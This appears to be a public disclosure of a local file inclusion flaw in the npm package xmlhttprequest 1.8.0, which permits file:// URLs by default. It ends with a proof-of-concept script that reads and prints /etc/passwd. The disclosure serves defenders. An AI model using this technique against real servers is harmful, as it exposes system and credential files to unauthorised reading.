~ 2 min read
Disclosing a local file inclusion vulnerability in xmlhttprequest library
What is the xmlhttprequest
npm package?
The open-source npm package xmlhttprequest
is a library for Node.js server-side projects to use a browser-like HTTP client. Mostly intended for a convenient API purposes, it is technically a wrapper around Node.js’s core modules of http
and https
.
Publicly disclosing a vulnerability in xmlhttprequest
As shared in a prior public disclosure report for the xmlhttprequest
library, I discovered several security issues with the library and have reached out to the maintainer in hopes to report the security issue and get it fixed. However, they deemed it as not a flaw in security design and did not consider it as a viable vulnerability.
I’m sharing my findings here to publicly disclose the vulnerability.
Incorrect Default Permissions in xmlhttprequest@1.8.0 lead to Local File Inclusion
Observations:
- It was last published 7 years ago in 2015 with version 1.8.0
- It has 1,814,290 weekly downloads from npm
Source code and registry resources for the library:
Background on the vulnerability
The library mentions support by default for local file access in its known issues README documentation.
Given a scenario that an attacker controls the URL to be fetched using this HTTP client library, and that no explicit sanitization is performed for the URL and its scheme, it may result in arbitrary file read access, due to insecure default permission. Arbitrary file read access is scoped to the global file system for the web application or server using this library to make HTTP requests.
Related: local file system access code handling on xmlhttprequest library.
This vulnerability should probably be classified as a CWE-276: Incorrect Default Permissions.
Proof of Concept exploit
Install the latest known vulnerable version of xmlhttprequest:
- Install
xmlhttprequest@1.8.0
which is the latest version of this package. We will use it for a client web application.
Create the following client.js
file that makes use of the library to send a GET
HTTP request:
const { XMLHttpRequest } = require("xmlhttprequest")
const xhr = new XMLHttpRequest()
const url = 'file:///etc/passwd'
a();
function a() {
// access local server files:
xhr.open("GET", url)
xhr.onreadystatechange = function() {
if (this.readyState == 4) {
console.log(this.responseText)
}
}
}
xhr.send()
Run this code snippet as a local Node.js script.
Observe that the the program prints the contents of the /etc/passwd
file from your local file system.